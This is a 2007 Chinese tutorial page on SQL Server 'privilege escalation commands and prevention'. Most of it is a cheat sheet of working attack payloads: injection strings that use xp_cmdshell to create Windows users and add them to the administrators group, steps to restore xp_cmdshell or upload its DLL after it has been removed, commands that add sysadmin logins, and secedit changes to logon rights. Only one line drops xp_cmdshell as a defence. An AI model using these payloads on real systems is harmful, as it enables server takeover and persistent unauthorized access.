SQL Server 提升权限相关命令及防范_Sql Server_学习笔记★闵涛★计算机学习电脑编程软硬件技巧


	转至繁体中文版	\| 网站首页 \| 图文教程 \| 资源下载 \| 站长博客 \| 图片素材 \| 武汉seo \| 武汉网站优化 \|

SQL Server 提升权限相关命令及防范

作者：闵涛文章来源：闵涛的学习笔记点击数：1053 更新时间：2007/11/14 13:06:26

SQL Server 提升权限相关命令及防范
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname =''''xplog70.dll''''

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=''''X'''' and name=''''xp_cmdshell''''
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc ''''xp_cmdshell'''',''''xplog70.dll'''';select count(*) from master.dbo.sysobjects where xtype=''''X'''' and name=''''xp_cmdshell''''
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc ''''xp_cmdshell'''',''''C:/WinNt/System32/xplog70.dll''''

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"

DOS:
dir c:/
dir d:/
dir e:/

net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin

sa帐号的改名和删除
首先打开SQL中的企业管理器，接着在工具选项卡中选择SQL server配置属性依次，点服务器设置，看到允许对系统目录直接进行修改前面的方框吗，点一下，好。
再打开查询分析器，登陆进去（呵呵，随便你用什么帐号进去，不过可一定要在master数据库中有db_owner的权限）输入

update sysxlogins set name=''''你要改成的名字'''' where sid=0x01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name=''''你要改成的名字''''

OK，执行成功，好拉，转道企业管理器中刷新安全性中的登陆，看看，sa是不是变成xwq拉，呵呵，选中xwq点击右键，怎么样是不是出现拉删除的选项，呵呵，删除。看看sa是不是已经没有拉。

后记

直接在查询分析器里怎么删除sa

直接在查询分析器里怎么删除sa，做法和前面所说的差不多，只不过这次不是在企业管理器中做手脚拉，而是利用sql提供给我们功能强大的存储过程来完成这项任务。下面就是我所说的需要利用的存储过程sp_configure，sp_configure显示或更改当前服务器的全局配置设置。
它的语法:

sp_configure [ [ @configname = ] ''''name'''' ]
[ , [ @configvalue = ] ''''value'''' ]

实例：

sp_configure ''''allow updates'''', 1
go
RECONFIGURE WITH OVERRIDE
go

好拉，这样我们就可以更新系统表拉，接下来和前面的做法一样拉 update sysxlogins set name=''''你要改成的名字'''' where sid=0x01，然后再删除"你改名后的那个名字"
不过要注意在 sp_configure 上没有参数（或只有第一个参数）的执行许可权限默认授予所有用户。有两个参数的 sp_configure（用于更改配置选项）的执行许可权限默认授予 sysadmin 和 serveradmin 固定服务器角色。RECONFIGURE 权限默认授予 sysadmin 固定服务器角色和 serveradmin 固定服务器角色，并且不能传输。还得在master中是db_owner。

[Access]sql随机抽取记录  [Access]ASP&SQL让select查询结果随机排序的实现方法
[聊天工具]企业邮件系统的利器----FoxMail Server  [系统软件]OPEN SERVER 5.0.5安装EXP300阵列柜
[系统软件]SQL语句性能优化--LECCO SQL Expert  [系统软件]关于Windows2000Server的灾难恢复
[常用软件][网络]下载服务革命性风暴Poco Server评测  [C语言系列]动态创建SQL Server数据库、表、存储过程等架构信…
[C语言系列]SQL Server到DB2连接服务器的实现  [C语言系列]SQL Server到SYBASE连接服务器的实现

教程录入：mintao 责任编辑：mintao

上一篇教程：分页 SQLServer存储过程

下一篇教程：删除MSSQL危险存储过程的代码

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网]

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

同类栏目

· Sql Server  · MySql
· Access  · ORACLE
· SyBase  · 其他

热门推荐

没有教程

赞助链接

闵涛博文

500 - 内部服务器错误。

您查找的资源存在问题，因而无法显示。

鄂公网安备 42011102001154号

站长：MinTao ICP备案号：鄂ICP备11006601号-18

闵涛站盟:医药大全-武穴网。A打造B、C、D……